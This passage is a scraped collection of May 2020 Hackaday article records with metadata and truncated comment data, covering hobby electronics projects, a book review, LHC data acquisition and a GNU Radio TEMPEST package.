, as long as you have some kind of USB keyboard. It has a text editor for writing Python scripts the regular way as well as a REPL for running commands on the fly.
One of the biggest hurdles in portable microcontrollering is getting HID access so you can communicate with a keyboard. Flip open cyberDÛCK and you’ll find two ItsyBitsy M4s — one being used as the USB host, and the other controls the display and is meant to be programmed. To get the keyboard input across, [kmatch98] adapted a MicroPython editor to take input from UART. Waddle past the break to check out the sprite demo, and stick around to see [kmatch98] discuss the duck in detail.
We understand if you can’t wait to make one of these yourself. In the meantime, did you know
you can code CircuitPython directly from your phone? | 6 | 2 | [
{
"comment_id": "6245577",
"author": "duckduckmother",
"timestamp": "2020-05-15T09:50:38",
"content": "Spider Duck!Spider Duck!Does whatever a spider Duck does!Can he swing from a web?No he can’tHe’s a DuckLookout!He is the spider Duck!!",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,373,489.14062 | ||
https://hackaday.com/2020/05/14/piston-powered-pellet-pusher-for-peckish-pets/ | Piston-Powered Pellet Pusher For Peckish Pets | Kristina Panos | [
"Arduino Hacks",
"Lifehacks"
] | [
"arduino",
"arduino nano",
"lockdown life",
"Metro Mini",
"pet feeder",
"piston",
"servo"
] | We all have our new and interesting challenges in lockdown life. If you’ve had to relocate to ride it out, the chances are good that even your challenges have challenges. Lockdown left [Kanoah]’s sister in the lurch when it came to feeding her recently-adopted pet rat, so he came up with
a temporary solution to ensure that the rat never misses a meal
.
Most of the automated pet feeders we see around here use an auger to move the food. That’s all fine and good, but if you just need to move a singular mass, the screw seems like overkill. [Kanoah]’s feeder is more akin to a pellet-pushing piston. It runs on a Metro Mini, but an Arduino Nano or anything with enough I/O pins would work just fine. The microcontroller starts counting the hours as soon as it has power, and delivers pellets four times a day with a servo-driven piston arm. [Kanoah] has all the files up on Thingiverse if you need a similar solution.
There many ways of solving the problem of dry pet food delivery. Wet food is a completely different animal, but as it turns out,
not impossible to automate
. | 2 | 2 | [
{
"comment_id": "6245549",
"author": "Video preferrer",
"timestamp": "2020-05-15T05:42:42",
"content": "So much text, must have taken hours to write the instructable. But not even a blurry 5 second clip, which takes 5 seconds to record, of the device in motion :(",
"parent_id": null,
"depth"... | 1,760,373,488.767007 | ||
https://hackaday.com/2020/05/14/printable-castable-feeders-simplify-pick-and-place-component-management/ | Printable, Castable Feeders Simplify Pick-and-Place Component Management | Dan Maloney | [
"cnc hacks"
] | [
"casting",
"feeder",
"LitePlacer",
"pawl",
"pick and place",
"pnp",
"resin",
"smd",
"sprocket",
"tape"
] | It goes without saying that we love to see all the clever ways people have come up with to populate their printed circuit boards, especially the automated solutions. The idea of manually picking and placing nearly-microscopic components is reason enough to add a pick and place to the shop, but that usually leaves the problem of feeding components to the imagination of the user. And
this mass-production-ready passive component feeder
is a great example of that kind of imagination.
Almost every design we’ve seen for homebrew PnP component feeders have one of two things in common: they’re
3D-printed
, or they’re
somewhat complex
. Not that those are bad things, but they do raise issues. Printing enough feeders for even a moderately large project would take forever, and the more motors and sensors a feeder has, the greater the chance of a breakdown. [dining-philosopher] solved both these problems with a simple design using only two parts, which can be resin cast. A lever arm is depressed by a plunger that’s attached to the LitePlacer tool, offset just enough so that the suction cup is lined up with the component location on the tape. A pawl in the lower arm moves forward when the tool leaves after picking up the part, engaging with the tape sprocket holes and advancing to the next component.
[dining-philosopher] didn’t attack the cover film peeling problem in his version, choosing to peel it off manually and use a weight to keep it taut and expose the next component. But in a nice example of collaboration, [Jed Smith] added an automatic film peeler to the original design. It complicates things a bit, but the peeler is powered by the advancing tape, so it’s probably worth it. | 10 | 6 | [
{
"comment_id": "6245544",
"author": "Gravis",
"timestamp": "2020-05-15T05:03:24",
"content": "Very clever!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245557",
"author": "PR",
"timestamp": "2020-05-15T06:28:41",
"content": "dining-philosopher’... | 1,760,373,489.270207 | ||
https://hackaday.com/2020/05/14/passing-the-time-by-reading-the-time/ | Passing The Time By Reading The Time | Sven Gregori | [
"clock hacks"
] | [
"arduino",
"binary clock",
"puzzle",
"rtc",
"wall clock"
] | Binary clocks are a great way to confuse your non-technical peers when they ask the time from you — not that knowing about the binary system would magically give you quick reading skills of one yourself. In that case, they’re quite a nice little puzzle, and even a good alternative to the quarantine clocks we’ve come across a lot recently, since you can simply choose not to bother trying to figure out the exact time. But with enough training, you’ll eventually get the hang of it, and you might be in need for a new temporal challenge. Well, time to level up then, and the
Cryptic Wall Clock
built by [tomatoskins] will definitely keep you busy with that.
Diagram of the clock showing 08:44:47
If you happen to be familiar with the
Mengenlehreuhr
in Berlin, this one here uses the same concept, but is built in a circular shape, giving it more of a natural clock look. And if you’re not familiar with the
Mengenlehreuhr
(a word so nice, we had to write it twice), the way [tomatoskins]’ clock works is to construct the time in 24-hour format by lighting up several sections in the five LED rings surrounding a center dot.
Starting from the innermost ring, each section of the rings represent intervals of 5h, 1h, 5m, 1m, and 2s, with 4, 4, 11, 4, and 29 sections per ring respectively. The center dot simply adds an additional second. The idea is to multiply each lit up section by the interval it represents, and add the time together that way. So if each ring has exactly one section lit up, the time is 06:06:02 without the dot, and 06:06:03 with the dot — but you will find some more elaborate examples in his detailed write-up.
This straightforward and yet delightfully unintuitive concept will definitely keep you scratching your head a bit, though you can always go weirder with
the Roman numerals palm tree clock
for example. But don’t worry, [tomatoskins] has also
a more classic, nonetheless fascinating approach
in his repertoire. | 4 | 4 | [
{
"comment_id": "6245499",
"author": "Becky Stern",
"timestamp": "2020-05-14T23:22:30",
"content": "Awesome! great work Troy!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245511",
"author": "Saabman",
"timestamp": "2020-05-14T23:48:17",
"content... | 1,760,373,489.008544 | ||
https://hackaday.com/2020/05/14/an-esp32-home-automation-swiss-army-knife/ | An ESP32 Home Automation Swiss Army Knife | Tom Nardi | [
"home hacks",
"Microcontrollers"
] | [
"esphome",
"home automation",
"home-assistant",
"relay",
"smart home"
] | Thanks to the ESP8266 and the ESP32, we’ve seen an explosion in DIY home automation projects recently. When it only takes $3 and a few lines of code to bring your gadgets onto the network, that’s hardly a surprise. But hacking bare ESP modules onto devices will only get you so far. Eventually you’ll probably want to put together a slightly more mature home automation system, and that’s where things can get a little tricky.
Which is why [Alfredo] created the Maisken Homelay.
This device is a one-stop-shop for your home automation needs
that leverages the power of the ESP32. With the microcontroller slotted into this compact PCB, you’ll be able to trigger four relays for your high current or AC loads, and still have 8 GPIOs and the I2C bus for expansion. All while retaining compatibility with existing open source projects like Home Assistant and ESPHome.
What really sets this project apart is the attention to detail. [Alfredo] has included a HLK-PM01 power supply on the board which takes mains voltage and brings it down to 5 VDC for the ESP32, so won’t need a separate power cable. He’s also taken the time to add isolation slots to separate the potential high-voltage connected to the relays from the rest of the board, added current and thermal fuses for protection, and peppered the board with screw terminals so you can easily connect everything up.
Sure you could get a simple relay board shipped to your door for a few bucks from the usual suspects. But it’s not going to offer the kind of quality of life and safety features that the Maisken Homelay has. There’s even a 3D printed enclosure available to help tidy things up.
With some of the blatantly anti-consumer decisions
big-name
home automation companies have been making recently
, there’s more reason than ever to roll your own smart home using open source hardware and software. It still takes more effort than buying a bunch of modules from the Big Box retailer, but projects like this one are certainly starting to blur the line between consumer and DIY. | 37 | 10 | [
{
"comment_id": "6245454",
"author": "Alan H",
"timestamp": "2020-05-14T20:33:38",
"content": "The project is interesting for a tiny house, or a studio. Òtherwise, it negates all the advantages of a Wifi based home automation, with many remote stations, each one triggering one relay. If you conce... | 1,760,373,489.091184 | ||
https://hackaday.com/2020/05/14/a-transmission-line-speaker-with-the-design-work-to-back-it-up/ | A Transmission Line Speaker With The Design Work To Back It Up | Jenny List | [
"home entertainment hacks"
] | [
"audio",
"speaker",
"transmission line speaker"
] | We love the world of audiophiles here at Hackaday, mostly for the rich vein of outrageous claims over dubious audio products that it generates. We’ve made hay with audiophile silliness in the past, but what we really like above that is a high quality audio project done properly. It’s one thing to poke fun at directional oxygen free gold plated USB cables, but it’s another thing entirely to see a high quality audio project that’s backed up by sound design and theory to deliver the best possible listening. [
Davide Ercolano
]’s
transmission line speakers
are a good example, because he’s laid out in detail his design choices and methods in their creation.
Starting with the
Thiele-Small
parameters of his chosen driver, he simulated the enclosure using the
Hornresp
software. As a 3D-printed design he was able to give it paraboloid curves to the convoluted waveguide, making it a much closer approximation to an ideal waveguide than a more traditional rectangular design. In the base is a compartment for an amplifier module, with additional Bluetooth capability.
We’d be curious to know how well 3D printed plastic performs in this application when compared for example to something with more mass. However we like these speakers a lot; this is how a high quality audio project should be approached. We’ve delved into speakers more than once in the past, but if you’re looking for something really unusual then
how about an electrostatic
? | 26 | 15 | [
{
"comment_id": "6245428",
"author": "Ren",
"timestamp": "2020-05-14T18:56:36",
"content": "Oh, I thought by “transmission line” I was going to read about quality sound delivered over the house wiring.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245643",... | 1,760,373,488.834917 | ||
https://hackaday.com/2020/05/14/books-you-should-read-the-boy-who-harnessed-the-wind/ | Books You Should Read: The Boy Who Harnessed The Wind | Steven Dufresne | [
"Biography",
"Hackaday Columns",
"Interest",
"Reviews",
"Slider"
] | [
"book",
"books you should read",
"electronics",
"William Kamkwamba",
"Wind turbine",
"windmill"
] | For many of us, our passion for electronics and science originated with curiosity about some device, a computer, radio, or even a car. The subject of this book has just such an origin. However, how many of us made this discovery and pursued this path during times of hunger or outright famine?
That’s the remarkable story of William Kamkwamba that’s told in the book,
The Boy Who Harnessed the Wind
. Remarkable because it culminates with his building a windmill (more correctly called a wind turbine) that powered lights in his family’s house all by the young age of fifteen. As you’ll see, it’s also the story of an unyielding thirst for knowledge in the face of famine and doubt by others.
Learning By Taking Apart Radios
Malawi
Many things make this hack impressive. One is the hack itself but we’ll get to that later. The other is that it was made by a boy who was self-taught and only fifteen at the time. Another was his circumstances.
William Kamkwambe was born in Malawi, in southeast Africa on August 5th, 1987 in what most would call poverty. His family grew tobacco as a cash crop and maize, which many would know as corn, for food and for sale. They made just enough cash and maize to live off of, some years being bountiful and some years harvesting barely enough.
His thirst for knowledge and interest in science and electronics started in a way many readers will find very familiar. The first time he heard a radio he immediately wanted to know how it worked. This type of curiosity is the mark of an engineer and a scientist and from there his heart was set on getting an education to become a scientist, breaking out of the pattern of growing up to be a subsistence farmer.
And so at the age of thirteen, William and his friend Geoffrey began taking apart radios. They used trial and error to learn how they worked. For example, by disconnecting a transistor they learned where the amplification happens. To make repairs, in lieu of a soldering iron, they’d heat up a thick wire over the kitchen fire. For a while, they even repaired radios for others.
Bad Weather And a Dynamo
Bicycle bottle dynamo on wheel.
December 2000 brought heavy flooding followed by drought but a bit of rain in March saved their crop from total disaster. The events meant the family had less food than normal but just enough.
William was just 13 and during this time he discovered another electrical device, one that would eventually have an even bigger impact on his life than the radio. That was a bicycle dynamo, a small generator whose shaft was turned by contact with one of the bicycle’s wheels. The bicycle powered a light but he wanted to know if it could power a radio. He and Geoffrey connected the dynamo’s wires to where the radio’s battery went but that didn’t work. Pushing the wires into the radio’s AC input socket, however, did work. They took turns spinning the wheel by hand while the other danced to the music.
This started him wondering if there was some way to spin the dynamo automatically to power lights in his family’s home. The answer would come, but only near the end of a famine.
Famine And Discovering Windmills
If the previous season’s crop was bad, by September of 2001 it was clear the next would be worse. This time the drought stuck and plunged Malawi into a famine lasting around seven months and killing many through starvation and cholera. William’s family was among those affected. By early December they were down to one meal a day consisting of around seven mouthfuls. That was reduced to only one mouthful in the lead up to the time their crop of maize ripened, breaking the famine in March 2002.
William began secondary school a few months before harvest, during Christmas of 2001. But he soon had to drop out as all of the family’s money had to go toward paying for what little food they could afford. That didn’t stop his yearning to learn, though. In February, still in the middle of the famine, he made up for his lack of schooling by spend time in, and borrow books from a small library in Wimbe Primary School stocked with books donated by the American government.
He read books titled
Explaining Physics
and
Integrated Science
, using an English-Malawi dictionary to look up words. But it was from a textbook called Using Energy that he first discovered windmills. Finally, he’d found a way to keep the bicycle wheel turning to run the dynamo. He decided to build one.
Windmill From Scraps Lighting His House
As any engineer knows, it’s best to start with a prototype. His first turbine used blades carved from a bottle but it was too small.
To get longer blades for his second one, he came up with an ingenious solution which he’d continue to use for later versions. He and his friend Geoffery dug up a PVC pipe from an aunt’s collapsed house and cut it in half lengthwise. Then to flatten it, he heated it over his mother’s kitchen fire. He cut 20cm long blades from that. To make holes in the PVC he came up with another clever and simple technique. He took a nail and stuck half a maize cob onto one end to act as a handle. He then heated the nail red hot and poked it into the PVC blades to make holes. For the generator, he took a motor from a junk cassette player. Skipping the details of how he coupled the generator shaft to the wind turbine (tease: this included carving rubber from shoes for a high friction contact) they managed to power a small Panasonic radio.
The big windmill. Source
Erik (HASH) Hersman from Orlando
CC BY 2.0
The famine ended and with his windmill successes so far, he started gathering parts for his third windmill, the one that’d power lights in his home. From a scrapyard, he found a tractor fan on which to attach long PVC blades. To make the corresponding holes in the metal tractor fan blades he got a quick job loading wood, earning enough money to pay a local welder to drill the holes in the fan metal.
At the same time, he had a shock absorber, also from the scrapyard, welded to the pedal shaft of a broken bicycle that his father let him have. Using nuts and bolts purchased by his friend Gilbert, he bolted the PVC blades to the fan blades. He then attached this to the other end of the shock absorber. Thus, turning the blades turned the central sprocket of the bicycle as pedals would. The dynamo (also purchased by Gilbert) was the last piece of the puzzle and turned via the rear wheel of the bike being chain driven as normal by the pedal shaft.
William mounted it to the top of a six-inch diameter bamboo pole. The blades turned in the wind. In the first test powering his father’s radio, two things happened: there was a brief sound from the radio and black smoke began to pour out of the speakers. The problem was that the dynamo put out 12 volts AC while the radio was rated for half that. Referring back to a library book,
Explaining Physics
, he took wire from an old motor he’d had in his junk pile and wrapped it around a stick, forming a choke. With that in the circuit, the radio played without emitting smoke.
William, Geoffery, and Gilbert then cut three trees and dug holes to make a sixteen-foot tall tower behind his house. In the presence of a skeptical crowd, William removed a spoke that had been keeping it from rotating and with a gust of wind, the blades rotated and a light came to life.
In the coming months, William put lights in his home, eliminating the need to burn kerosene, and even
created a homemade circuit breaker which we’d previously covered
.
Rewarded With More Than Just Light
William at TEDGlobal 2007. Source
Erik (HASH) Hersman from Orlando
CC BY 2.0
The towering windmill naturally attracted attention and the word got passed on from there. The final chapters in the book talk about how by November 2006 word reached outside his village resulting in visits from school officials, then reporters and eventually to William being given an all-expenses-paid trip to give a TED talk at TEDGlobal 2007 in Arusha, Tanzania.
This led to funding from wealthy venture capitalists and other individuals for his projects and education, partly to stimulate homegrown leaders who could go on to make positive contributions to Malawi and the rest of Africa. Funding through a non-profit group called the
Moving Windmills Project
went to improvements for his village and education. And together with
buildOn.org
, they rebuilt the Wimbe Primary school.
In December 2007 he got to visit Southern California to see the wind farm that he’d seen in the book, Using Energy. In June 2008 he participated in the World Economic Forum in Cape Town, South Africa. He also received a scholarship to attend the African Leadership Academy, a high school in Johannesburg where he met other young people also destined to make a difference in Africa.
In the book’s postscript, we learn how a TV interview on The Daily Show with Jon Stewart led to invitations to visit colleges in the US and he eventually settled on Dartmouth College in Hanover, New Hampshire, from which he graduated in 2014.
Takeaways
It’s difficult in an article to give every impression and interesting event that’s encountered in reading this book. One thing that surprised me time and again while reading is that William had next to nothing, suffered hunger, had some idea through radio and other means of the abundance and relative ease of parts of the world elsewhere, and yet showed not one inkling of frustration at his life. He shows just the opposite. You may say it was because of his young age but he exhibits wisdom beyond his years. Throughout the book, his enthusiasm, determination, and his hunger for knowledge never falter.
The other pleasure in reading this book was made possible by those same circumstances, his need to make do with what he had. Missing from this article are details of his homemade knives, a simple hack for trapping birds, and many other simple but brilliant and effective techniques for making things, causing this already inspiring tale to be all the more enjoyable a read. | 30 | 12 | [
{
"comment_id": "6245424",
"author": "alfcoder",
"timestamp": "2020-05-14T18:26:09",
"content": "just don’t go anywhere, stay at your home and solve your problems, what your god is given to you to solve…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245516... | 1,760,373,488.965146 | ||
https://hackaday.com/2020/05/14/how-much-is-that-plotter-in-the-window/ | How Much Is That Plotter In The Window? | Dan Maloney | [
"Art",
"Misc Hacks"
] | [
"arduino",
"display",
"ESP-8266",
"font",
"interactive",
"pen plotter"
] | We live in a strange time indeed. People who once eschewed direct interactions with fellow humans now crave it, but to limited avail. Almost every cashier at the few stores deigned essential enough to maintain operations are sealed away behind plastic shields, with the implication that the less time one spends lingering, the better. It’s enough to turn an introvert into an extrovert, at least until the barriers are gone.
We get the idea that the need to reach out and touch someone is behind
[Niklas Roy]’s “Please Leave a Message”
, an interactive art installation he set up in the front window of his Berlin shop. Conveniently located on a downtown street, his shop is perfectly positioned to attract foot traffic, and his display is designed to catch the eye and perhaps crack a smile. The device consists of a large wooden easel holding the guts from an old X-Y pen plotter, an Arduino and an ESP-8266, and a couple of drivers for the plotter’s steppers. Passers-by are encouraged to scan a QR code that accesses a web page served up by the ESP-8266, where they can type in a brief message. The plotter dutifully spells it out on a scroll of paper for all to see, using a very nice font that [Niklas] designed to be both readable and easily plotted. The video below shows it in action with real people; it seems to be a crowd-pleaser.
[Niklas] has been incredibly prolific, and we’ve covered many of his interactive art installations. Just search for his name and you’ll find everything from
a pressure-washer dancing waters display
to
a plus-sized pinball machine
. | 11 | 6 | [
{
"comment_id": "6245386",
"author": "weirdwhit",
"timestamp": "2020-05-14T15:41:00",
"content": "I wish I lived in an area where something like this would be appreciated for what it is and not filled with political (or worse) statements.Very cool way to attract visitors to your shop.",
"parent_... | 1,760,373,488.884517 | ||
https://hackaday.com/2020/05/14/crunching-giant-data-from-the-large-hadron-collider/ | Crunching Giant Data From The Large Hadron Collider | Moritz v. Sivers | [
"Engineering",
"Featured",
"FPGA",
"Machine Learning",
"Original Art",
"Science",
"Slider"
] | [
"DAQ",
"lhc",
"machine learning",
"quantum computing"
] | Modern physics experiments are often complex, ambitious, and costly. The times where scientific progress could be made by conducting a small tabletop experiment in your lab are mostly over. Especially, in fields like astrophysics or particle physics, you need huge telescopes, expensive satellite missions, or giant colliders run by international collaborations with hundreds or thousands of participants. To drive this point home: the largest machine ever built by humankind is the Large Hadron Collider (LHC). You won’t be surprised to hear that even just managing the data it produces is a super-sized task.
Since its start in 2008, the LHC at CERN has received several upgrades to stay at the cutting edge of technology. Currently, the machine is in its second long shutdown and being prepared to restart in May 2021. One of the improvements of Run 3 will be to deliver particle collisions at a higher rate, quantified by the so-called luminosity. This enables experiments to gather more statistics and to better study rare processes. At the end of 2024, the LHC will be upgraded to the
High-Luminosity LHC
which will deliver an increased luminosity by up to a factor of 10 beyond the LHC’s original design value.
Currently, the major experiments ALICE, ATLAS, CMS, and LHCb are preparing themselves to cope with the expected data rates in the range of Terabytes per second. It is a perfect time to look into more detail at the data acquisition, storage, and analysis of modern high-energy physics experiments.
Major Upgrades for ALICE
The ALICE experiment is the oddball among the experiments, because it studies lead-lead collisions instead of proton-proton collisions. It also faces one of the greatest challenges for the upgrade because the observed rate of collisions will increase fifty-fold from 1 kHz to 50 kHz in the upcoming LHC run. With about half a million detector channels being read out at 5 MHz sampling rate this amounts to a ~3 TB/s continuous stream of data.
New front end electronic boards for the ALICE TPC
Credit:
C. Lippmann
In order to cope with these numbers, the main detector of ALICE, a Time Projection Chamber (TPC), received 3,276 new
front end electronic cards developed by the Oak Ridge National Laboratory
. At the heart of the boards is a custom ASIC called
SAMPA
designed at the University of São Paulo. The SAMPA chip includes a charge sensitive amplifier, a 10-bit ADC, and a digital signal processing (DSP) unit. Doing DSP on the device can already reduce the data to ~1 TB/s through
zero suppression
.
Because the front-end electronics are located directly at the detector, they have to cope with high doses of radiation. Therefore, CERN started early to develop the
GigaBit Transceiver (GBT) platform
, a custom ASIC and data transfer protocol that provides a radiation-tolerant 4.8 Gbit/s optical link which is now used by several LHC experiments.
ALICE data acquisition and storage scheme
Credit:
J. Mitra et al.
As shown in the schematic picture, data from the front-end electronics at ALICE is transferred to the Common Read-out Units (CRU) that serve as interfaces to the First-Level Processors (FLP). The FLPs are a farm of servers that perform a reduction of the data to ~ 500 GB/s by grouping the detector hits into clusters. The CRU boards are based on Altera Arria 10 GX FPGAs and use the commercial PCI-Express interface since it is cost-effective and widely available for server machines. The data merging and final data-volume reduction is performed by a second farm of computers: the Event Processing Nodes (EPN) reducing the data flow to about 90 GB/s which is then stored to disk.
The most time-consuming step during event processing is the reconstruction of particle trajectories. While other LHC experiments are still using regular multi-core CPUs for this task, ALICE is designing their tracking implementations to run on GPUs, which offer significantly more parallel computing power.
A study showed
that track-finding with an NVIDIA GTX 1080 is up to 40 times faster compared to an Intel i7-6700K processor. Interestingly, the tracking algorithm for the ALICE TPC is based on a cellular automaton.
Multi-Level Triggering, Machine Learning, and Quantum Computing
While the ALICE experiment will be able to continuously stream data from all Pb-Pb collisions happening at 50 kHz, the rate of proton-proton collisions at the other LHC detectors is as high as 40 MHz. Therefore, these experiments employ a multi-level triggering scheme that only reads out preselected events. The CMS experiment, for example, uses an FPGA-based level-1 trigger that can filter data within microseconds. The High-Level Trigger (HLT) at the second stage uses commercial CPUs to process the data by software where longer latencies on the timescale of milliseconds are allowed.
Triggering scheme for the CMS experiment
Credit:
A. Castaneda
The HLT is responsible for track identification, a task that is currently moving towards the implementation of machine learning techniques. In 2018 CERN hosted the
TrackML competition
, challenging people to build a machine learning algorithm that quickly reconstructs particle tracks. An even more ambitious approach is pursued by the
HEP.QPR project
which is developing track-finding algorithms for quantum computers since these can potentially overcome the problem of
combinatorial explosion
. They already tested their algorithms on the TrackML dataset using
D-Wave
, a company that is offering cloud service for their quantum computers.
While a track finding algorithm can run comfortably on a CPU or GPU, the required low latency of level-1 triggers and limited hardware resources of FPGAs allows only very basic algorithms for data selection. More sophisticated algorithms could help to preserve potential interesting physics signatures that are currently lost. For this reason, researchers at Fermilab developed the
hls4ml
compiler package which translates machine learning models from common open-source software packages such as
Keras
and
PyTorch
into Register-Transfer Level (RTL) abstraction for FPGAs.
Data Analysis on the Grid
The Worldwide LHC Computing Grid
Credit:
A. Castaneda
Machine learning is already extensively used in the offline analysis of stored data, in particular for particle identification. One example is b-tagging, which refers to the identification of events originating from bottom quarks that are important for new physics searches. Currently, the most efficient b-tagging algorithms are based on deep neural networks like the
DeepCSV
algorithm developed by CMS.
You might have heard of the
Worldwide LHC Computing Grid
(WLCG), where the data analysis is usually carried out. It consists of around 170 computing centers in more than 40 countries and totals about 1 million CPU cores and 1 Exabyte of storage. Perhaps less known is the fact that more than 50% of the WLCG workload is represented by Monte Carlo simulations. These “what-if” models of collisions are a crucial part of the data analysis and needed to optimize the event selection criteria.
Although many people are probably disappointed that the LHC did not yet lead to the discovery of new physics like supersymmetry there are still some
persisting anomalies
in the data. Even if the upcoming LHC upgrades will reveal these as merely statistical fluctuations, CERN will continue to be a driver for new technologies in the field of electronics, computing, and data science. | 19 | 6 | [
{
"comment_id": "6245370",
"author": "Matt Brunton",
"timestamp": "2020-05-14T14:33:00",
"content": "I’ve nothing against blue-sky research per se, but the scale of operations at CERN has in the past made me ask “why?” Space research and projects like the ISS, yes, I can see the end goal – similarl... | 1,760,373,489.331979 | ||
https://hackaday.com/2020/05/14/fusing-plastic-sheets-with-a-3d-printer-sort-of/ | Fusing Plastic Sheets With A 3D Printer (Sort Of) | Tom Nardi | [
"3d Printer hacks"
] | [
"fusing",
"gcode",
"inflatable",
"plastic"
] | If you want to experiment with pneumatic devices, you’ll likely find yourself in need of custom inflatable bladders eventually. These can be made in arbitrary 2D shapes by using a soldering iron to fuse the edges of two plastic sheets together, but it’s obviously a pretty tedious and finicky process. Now, if only there was some widely available machine that had the ability to accurately apply heat and pressure over a large surface…
Realizing his 3D printer had all the makings of an ideal bladder fusing machine,
[Koppany Horvath] recently performed some fascinating experiments to test this concept
out in the real-world. Ultimately he considers the attempt to be a failure, but we think he might be being a bit too hard on himself. While he didn’t get the sheets to fuse hard enough to resist being pulled apart by hand, we think he’s definitely on the right track and would love to see more research into this approach.
For these early tests, [Koppany] wrapped the hotend of his Monoprice Maker Select Plus with some aluminum foil, and covered the bed with a piece of cardboard. Stretched over this were two sheets of plastic, approximately 0.5 mil in thickness. Specifically, he used pieces cut from the bags that his favorite sandwiches come in; but we imagine you could swap it out for whatever bag your takeout of choice is conveyed in, assuming it’s of a similar thickness anyway.
There were problems getting the plastic pulled tight enough, but that was mostly solved with the strategic placement of binder clips and a cardboard frame. Once everything was in place, [Koppany] wrote a Python script that commanded the printer to drag the hotend over the plastic at various speeds while simultaneously adjusting the temperature. The goal was to identify the precise combination of these variables that would fuse the sheets of plastic together without damaging them.
In the end, his biggest takeaway (no pun intended) was that the plastic he was using probably isn’t the ideal material for this kind of process. While he got some decent seams at around 180 °C , the thin plastic had a strong tendency towards bunching up. Though he also thinks that a convex brass probe inserted into the hotend could help, as it would smooth the plastic while applying heat.
We’ve already seen some very promising results when using LDPE film in a CO2 laser cutter
, but if a entry-level 3D printer could be modified to produce similar results,
it could be a real game changer for folks experimenting with soft robotics
. | 17 | 8 | [
{
"comment_id": "6245349",
"author": "Andy Pugh",
"timestamp": "2020-05-14T11:50:43",
"content": "Maybe “dotting” the seams would give better results? (ie press, lift, move, press)It would be easy to modify a nozzle to carry a metal roller for seams in a single direction, but making it rotate would ... | 1,760,373,489.38941 | ||
https://hackaday.com/2020/05/14/tempest-comes-to-gnu-radio/ | TEMPEST Comes To GNU Radio | Jenny List | [
"Radio Hacks"
] | [
"gnu radio",
"sdr",
"tempest"
] | As we use our computers, to watch YouTube videos of trucks hitting bridges, to have a Zoom call with our mothers, or even for some of us to write Hackaday articles, we’re unknowingly sharing a lot of what we are doing with the world. The RF emissions from our monitors, keyboards, and other peripherals can be harvested and reconstructed to give a third party a view into your work, and potentially have access to all your darkest secrets. It’s a technique with origins in Government agencies that would no doubt prefer to remain anonymous, but for a while now it has been available to all through the magic of software defined radio. Now it has reached the popular GNU Radio platform, with
[Federico La Rocca]’s gr-tempest package
.
He describes it as a re-implementation of [Martin Marinov]’s
TempestSDR
, which has a reputation as not being for the faint-hearted. The current version requires GNU Radio 3.7, but he promises a 3.8-compatible version in the works. A YouTube video that we’ve placed below the break has a range of examples running, though there seems to be little information on the type of antenna employed.
Perhaps a log-periodic design would be most appropriate
.
Via RTL-SDR.com
.
Thanks [Lazy Mad Scientist] for the tip. | 10 | 4 | [
{
"comment_id": "6245338",
"author": "[skaarj]",
"timestamp": "2020-05-14T10:36:32",
"content": "My monitors have soviet union high power vacuum tubes on the HV EHT stage. Try harvesting RF from my 9-track tape drive (pertec), punch card loader (RS232), punched tape reader (RS232) or ferite memory (... | 1,760,373,489.849758 | ||
https://hackaday.com/2020/05/13/quality-upgrades-give-old-synth-new-lease-on-life/ | Quality Upgrades Give Old Synth New Lease On Life | Lewin Day | [
"Musical Hacks"
] | [
"floppy emulator",
"synth",
"syntheszier",
"yamaha"
] | Technology marches on at a rapid pace, but in many fields much love remains for older hardware. While still highly capable, there’s often room for improvement thanks to components made available in the intervening years. After longing for his SY-77 synthesiser of the 90s, [Mark] sourced a tired SY-99, the next model up in the line – and
set to work on some upgrades
.
The SY-99 relied on floppy disks for storage, but the mechanical drives are now difficult to maintain, to say nothing of the unreliability of floppy media. [Mark] installed a SD Card HXC floppy emulator instead, using a Sparkfun SD breakout to neatly install the card slot in the synth’s case. The tired LCD was replaced with a newer model using the same controller, with an LED backlight proving a nice upgrade over the original EL unit.
Additionally, [Mark] realised that there was scope to create his own upgrade modules with off-the-shelf SRAM chips. This proves far cheaper than sourcing second-hand Yamaha stock off eBay, and is readily achievable by anyone with a basic understanding of digital logic. The ICs can be had for a few dollars, versus well over $50 for the original cards – if you can even find them. Some labor is involved, but it’s a lot less painful to the wallet.
[Mark]’s work is a great example of how hardware that was once prohibitively expensive can be given greater functionality at a lower cost thanks to new technology. We’ve seen other synths modded too,
like this Korg Monotron.
If you’ve been tinkering away in a keyboard yourself,
be sure to let us know!
[Thanks to CRJEEA] for the tip] | 13 | 7 | [
{
"comment_id": "6245312",
"author": "David Soto Castañeda",
"timestamp": "2020-05-14T06:10:29",
"content": "great job!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245321",
"author": "Elliot Williams",
"timestamp": "2020-05-14T07:16:53",
"conte... | 1,760,373,490.066447 | ||
https://hackaday.com/2020/05/13/writing-android-apps-in-c-no-java-required/ | Writing Android Apps In C, No Java Required | Tom Nardi | [
"Android Hacks",
"Software Development"
] | [
"android",
"app development",
"c++",
"java"
] | Older Android devices can be had for a song, and in many cases are still packing considerable computational power. With built in networking, a battery, and a big touch screen, they could easily take the place of a Raspberry Pi and external display in many applications. As it so happens, Google has made it very easy to develop your own Android software. There’s only one problem: you’ve got to do it in Java.
Looking to get away from all that bloat and overhead,
[CNLohr] set out to see what it would take to get 100% C code running on an Android device
. After collecting information and resources from the deepest and darkest corners of the Internet, he found out that the process actually wasn’t that bad. He’s crafted a makefile which can be used to get your own C program up and running in seconds.
We mean that literally. As demonstrated in the video after the break, [CNLohr] is able to compile, upload, and run a C Android program in less than two seconds with a single command. This rapid development cycle allows you to spend more time on actually getting work done, as you can iterate through versions of your code almost as quickly as if you were running them on your local machine.
[CNLohr] says you’ll still need to have Google’s Android Studio installed, so it’s not as if this is some clean room implementation. But once it’s installed, you can just call everything from his makefile and never have to interact with it directly. Even if you don’t have any problem with the official Android development tools, there’s certainly something to be said for being able to
write a “Hello World” that doesn’t clock in at multiple-megabytes
. | 32 | 18 | [
{
"comment_id": "6245286",
"author": "RW ver 0.0.3",
"timestamp": "2020-05-14T02:23:52",
"content": "Noice, might have to play with this to see if I can get myself a port of DOSbox that I don’t hate… they all do some (un)helpful keyboard tomfoolery, among other issues. Also need latest version to fi... | 1,760,373,489.911116 | ||
